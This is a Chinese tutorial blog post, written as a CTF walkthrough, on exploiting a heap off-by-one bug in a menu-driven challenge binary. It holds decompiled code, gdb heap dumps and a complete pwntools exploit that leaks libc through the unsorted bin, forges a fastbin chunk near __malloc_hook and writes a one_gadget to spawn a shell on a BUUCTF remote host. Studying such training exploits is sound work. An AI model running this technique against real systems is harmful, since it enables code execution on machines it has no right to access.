快速入门堆溢出技巧(OFF BY ONE) 03 Jun, 2021 行业新闻 快速入门堆溢出技巧(OFF BY ONE) OFF BY ONE所谓OFF BY ONE就是利用堆溢出一个字节到下一个堆块,使得目前堆块与下一堆块合并成一个堆块,此时堆块的大小就是我们溢出的那一字节并且堆块的fd(前驱指针)以及bk(后继指针)都会指向main_arena+88的地址这也是我们泄露出来的地址利用gdb 输入libc查看基地址,main_arena+88-libc=offset本文涉及相关实验:puts("This's a simple heap for you.");while ( 1 ){menu();switch ( (unsigned int)sub_9EA() ){case 1u:add();break;case 2u:edit();break;case 3u:show();break;case 4u:del();break;case 5u:exit(0);default:puts("Please input current choice.");break;}}}如下get_input_content里面有个off by one 的漏洞unsigned __int64 __fastcall sub_C39(__int64 a1, int a2){unsigned __int64 result; // raxunsigned int i; // [rsp+1Ch] [rbp-4h]for ( i = 0; ; ++i ){result = i;if ( (int)i > a2 )break;if ( !read(0, (void *)((int)i + a1), 1uLL) )exit(0);if ( *(_BYTE *)((int)i + a1) == 10 ){result = (int)i + a1;*(_BYTE *)result = 0;return result;}}return result;}Second step在第一步我们对程序的漏洞点寻找完毕现在我们要开始第二步去利用off by one创建fake chunk了,先上交互函数from pwn import *context(log_level='debug')r=process('./vn')#elf=ELF('./vn')#r=remote('node3.buuoj.cn',28465)libc=ELF('16.so')def add(size,content):r.recvuntil("choice: ")r.sendline("1")r.sendlineafter("size?",str(size))r.sendlineafter("content:",content)def edit(idx,content):r.recvuntil("choice: ")r.sendline("2")r.sendlineafter("idx?",str(idx))r.sendlineafter("content:",content)def dump(idx):r.recvuntil("choice: ")r.sendline("3")r.sendlineafter("idx?",str(idx))def free(idx):r.recvuntil("choice: ")r.sendline("4")r.sendlineafter("idx?",str(idx))如思路概述所讲到我们需要创建4个堆我们创建好的堆结构如下在gdb中正常的堆结构如下pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x556b208da000Size: 0x21Allocated chunk | PREV_INUSEAddr: 0x556b208da020Size: 0x71Allocated chunk | PREV_INUSEAddr: 0x556b208da090Size: 0x71Allocated chunk | PREV_INUSEAddr: 0x556b208da100Size: 0x21Top chunk | PREV_INUSEAddr: 0x556b208da120Size: 0x20ee1接下来我们开始利用off by one去对其创建fake chunkadd(0x18,b'a')#0add(0x68,b'a')#1add(0x68,b'a')#2add(0x18,b'a')#3 阻断top chunkedit(0,b'a'*0x18+b'\xe1')free(1)gdb.attach(r)gdb中调试结果如下,我们很明显的可以看见两个0x71的堆块合并成了我们想要的0xe1的堆块,此时我们的fake chunk就构建完毕了pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x5650f994f000Size: 0x21Free chunk (unsortedbin) | PREV_INUSEAddr: 0x5650f994f020Size: 0xe1fd: 0x7fc2f9aebb78bk: 0x7fc2f9aebb78Allocated chunkAddr: 0x5650f994f100Size: 0x20Top chunk | PREV_INUSEAddr: 0x5650f994f120Size: 0x20ee1Third step有了fake chunk 现在我们就需要用到unsortedbin里面的chunk去泄露libc在开头的OFF BY ONE的介绍中我们提到了因为OFF BY ONE形成的chunk其fd bk指针会指向main_arena+88,在gdb输入libc可以得到libc的地址main_arena+88-libc=offset=0x3c4b78在这里呢我们现在要解决的如何用脚本实现交互自动取得偏移呢?这里就要继续提到分割unsortedbin我们重新申请一个堆块,该堆块的大小若刚好在unsortedbin中(强烈建议对半分割),我们申请回来之后通过gdb可以看见其中的堆结构如下一个0x71在unsortedbin,另外一个是我们可以正常使用的,此时他的内容便是fd与bk指向的地址main_arena+88pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x559615971000Size: 0x21Allocated chunk | PREV_INUSEAddr: 0x559615971020Size: 0x71Free chunk (unsortedbin) | PREV_INUSEAddr: 0x559615971090Size: 0x71fd: 0x7f0437e11b78bk: 0x7f0437e11b78Allocated chunkAddr: 0x559615971100Size: 0x20Top chunk | PREV_INUSEAddr: 0x559615971120Size: 0x20ee1因此我们可以得的泄露脚本如下add(0x68,b'a'*0x08)#1 切割unsortedbin 使得2进入unsortedbin泄露main_arenadump(2)leak=u64(r.recv(6).ljust(8,b'\x00'))print(hex(leak))gdb.attach(r)libc_base=leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000realloc_addr=libc_base+libc.sym['__libc_realloc']malloc_hook=libc_base+libc.sym['__malloc_hook']fake_chunk_addr=malloc_hook-0x23one_gadget=libc_base+0x4526aprint(hex(realloc_addr))print(hex(fake_chunk_addr))PS:这里可以说下为什么fake_chunk_addr=malloc_hook-0x23这个malloc_hook-0x23刚好可以达到fastbin这个基本上每个程序都是固定的如下0x7f78812fbaed就是fake chunk的地址处于fastbins并且非常有意思的是此处正是我们leak处main_arena+88这个地方减去88再减去0x33得的的地址,并且该地址也是我们对堆块输入内容的地址pwndbg> binsfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x55f8ce9d4090 —▸ 0x7f78812fbaed (_IO_wide_data_0+301) ◂— 0x7880fbcea00000000x80: 0x0unsortedbinall: 0x0smallbinsemptylargebinsemptyLast step我们现在有了需要的一切,那么现在最后一步就是对堆进行排布并且传入我们构建好的payload在这里所谓的堆排布就是我们要想办法让堆块去执行我们的传入的payload从第三步完结的时候堆排布如下此时我们再申请一个0x68大小的堆块就可以把unsortedbin里面的东西都拿出来此时堆结构依然不改变,只是位于unsortedbin的chunk变成可以利用的正常chunk其fd bk指针不再指向别的地址而是去指向前驱和后继的chunkpwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x555d4046b000Size: 0x21Allocated chunk | PREV_INUSEAddr: 0x555d4046b020Size: 0x71Free chunk (unsortedbin) | PREV_INUSEAddr: 0x555d4046b090Size: 0x71fd: 0x7ff34264eb78bk: 0x7ff34264eb78Allocated chunkAddr: 0x555d4046b100Size: 0x20Top chunk | PREV_INUSEAddr: 0x555d4046b120Size: 0x20ee1接下来我们再去free掉一个0x68大小的chunk对留下来的0x68大小的chunk内容填充为fake chunk的地址接着继续把被free的chunk申请回来,那么此时fastbin链表就会去指向fake chunk也许语言看蒙了人,我就用图表示图1如下是free掉后再去填充的样子图2如下是我们把被free的chunk申请回来后的样子此时我们可以说是已经劫持成功了,我们接着去填充payload然后再申请一个堆块就可以触发payload了add(0x68,b'a'*0x08)# 4与2同时指向0x70free(4)edit(2,p64(fake_chunk_addr))add(0x68,b'a'*0x08)#4payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)add(0x68,payload)#5r.recvuntil("choice: ")r.sendline("1")r.sendlineafter("size?",str(0x18))print(hex(libc.sym['__malloc_hook']))r.interactive()PS:关于为什么是0x13-0x08,因为我们从main_arena-0x33的位置填充的(第三步有提到),而这个位置距离realloc_hook的距离就是(0x13-8)关于realloc_hook压栈到底要加多少我们可以打开gdb输入 x/32i __libc_reallocpwndbg> x/32i __libc_realloc0x7ff34230e710 __GI___libc_realloc>: push r150x7ff34230e712 __GI___libc_realloc+2>: push r140x7ff34230e714 __GI___libc_realloc+4>: push r130x7ff34230e716 __GI___libc_realloc+6>: push r120x7ff34230e718 __GI___libc_realloc+8>: mov r12,rsi0x7ff34230e71b __GI___libc_realloc+11>: push rbp0x7ff34230e71c __GI___libc_realloc+12>: push rbx把里面的数字一个个代入试试看。最后的完整exp如下EXP:需要的libc从buuctf里面下载from pwn import *context(log_level='debug')#r=process('./vn')#elf=ELF('./vn')r=remote('node3.buuoj.cn',28640)libc=ELF('64.so')def add(size,content):r.recvuntil("choice: ")r.sendline("1")r.sendlineafter("size?",str(size))r.sendlineafter("content:",content)def edit(idx,content):r.recvuntil("choice: ")r.sendline("2")r.sendlineafter("idx?",str(idx))r.sendlineafter("content:",content)def dump(idx):r.recvuntil("choice: ")r.sendline("3")r.sendlineafter("idx?",str(idx))def free(idx):r.recvuntil("choice: ")r.sendline("4")r.sendlineafter("idx?",str(idx))#gdb.attach(r)add(0x18,b'a')#0add(0x68,b'a')#1add(0x68,b'a')#2add(0x18,b'a')#3 阻断top chunkedit(0,b'a'*0x18+b'\xe1')free(1)add(0x68,b'a'*0x08)#1 切割unsortedbin 使得2进入unsortedbin泄露main_arenadump(2)leak=u64(r.recv(6).ljust(8,b'\x00'))print(hex(leak))libc_base=leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000realloc_addr=libc_base+libc.sym['__libc_realloc']malloc_hook=libc_base+libc.sym['__malloc_hook']fake_chunk_addr=malloc_hook-0x23one_gadget=libc_base+0x4526aprint(hex(realloc_addr))print(hex(fake_chunk_addr))add(0x68,b'a'*0x08)# 4与2同时指向0x70free(4)edit(2,p64(fake_chunk_addr))add(0x68,b'a'*0x08)#4payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)add(0x68,payload)#5r.recvuntil("choice: ")r.sendline("1")r.sendlineafter("size?",str(0x18))print(hex(libc.sym['__malloc_hook']))r.interactive()结果如下 堆溢出入门堆